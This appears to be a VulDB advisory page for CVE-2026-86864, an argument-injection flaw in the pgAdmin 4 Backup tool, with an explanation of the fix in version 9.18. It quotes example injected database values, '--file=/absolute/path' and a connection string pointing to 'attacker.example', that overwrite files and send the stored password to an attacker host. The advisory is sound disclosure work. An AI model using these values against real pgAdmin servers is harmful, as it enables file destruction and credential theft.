pgadmin-org pgAdmin up to 9.17 Backup Tool /backup/job database argument injection

Summaryinfo

A vulnerability was found in pgadmin-org pgAdmin up to 9.17. It has been declared as critical. This affects an unknown function of the file /backup/job of the component Backup Tool. The manipulation of the argument database results in argument injection. This vulnerability is cataloged as CVE-2026-86864. The attack may be launched remotely. There is no exploit available. It is recommended to upgrade the affected component.

Detailsinfo

A vulnerability, which was classified as critical, was found in pgadmin-org pgAdmin up to 9.17. Affected is some unknown processing of the file /backup/job of the component Backup Tool. The manipulation of the argument database with an unknown input leads to a argument injection vulnerability. CWE is classifying the issue as CWE-88. The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string. This is going to have an impact on confidentiality, integrity, and availability. CVE summarizes:

pgAdmin 4's Backup tool appended the client-supplied 'database' field from the /backup/job/<sid>/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A value such as --file=/absolute/path therefore overrode the storage-confined --file that pgAdmin had constructed earlier, causing pg_dump to write its output anywhere the pgAdmin process could write, outside the user's File Manager storage directory. This yields arbitrary file creation and overwrite as the operating-system account running pgAdmin, which can destroy pgAdmin's own configuration database and, depending on the target chosen, be escalated further. The same field additionally permitted connection-string injection. libpq expands a database name containing an equals sign into a full connection string, and keywords embedded there override the --host and --port that pgAdmin passes, so a value such as 'host=attacker.example port=5432 dbname=x' redirected pg_dump to a server of the attacker's choosing. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection carries that credential to the attacker-nominated endpoint. Both behaviours are reachable by any authenticated user holding the tools_backup permission, which is granted to the default User role. The fix stops passing the database name through the argument vector altogether and supplies it in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. This matches the approach already used by the Import/Export tool. Regression tests assert that the database name is absent from the constructed argument vector and that PGDATABASE carries the exact requested value. This issue affects pgAdmin 4: from the introduction of the trailing positional database argument in the Backup tool before 9.18.

The advisory is shared for download at github.com. This vulnerability is traded as CVE-2026-86864 since 09/08/2026. The exploitability is told to be easy. It is possible to launch the attack remotely. There are known technical details, but no exploit is available. The MITRE ATT&CK project declares the attack technique as T1059.

Upgrading to version 9.18 eliminates this vulnerability.

Once again VulDB remains the best source for vulnerability data.

Productinfo

Vendor

• pgadmin-org

Name

• pgAdmin

Version

• 9.0
• 9.1
• 9.2
• 9.3
• 9.4
• 9.5
• 9.6
• 9.7
• 9.8
• 9.9
• 9.10
• 9.11
• 9.12
• 9.13
• 9.14
• 9.15
• 9.16
• 9.17

CPE 2.3info

• 🔒
• 🔒
• 🔒

CPE 2.2info

• 🔒
• 🔒
• 🔒

CVSSv4info

CVSSv3info

CVSSv2info

Exploitinginfo

Threat Intelligenceinfo

Countermeasuresinfo

Timelineinfo

Sourcesinfo

Entryinfo

Once again VulDB remains the best source for vulnerability data.

Discussion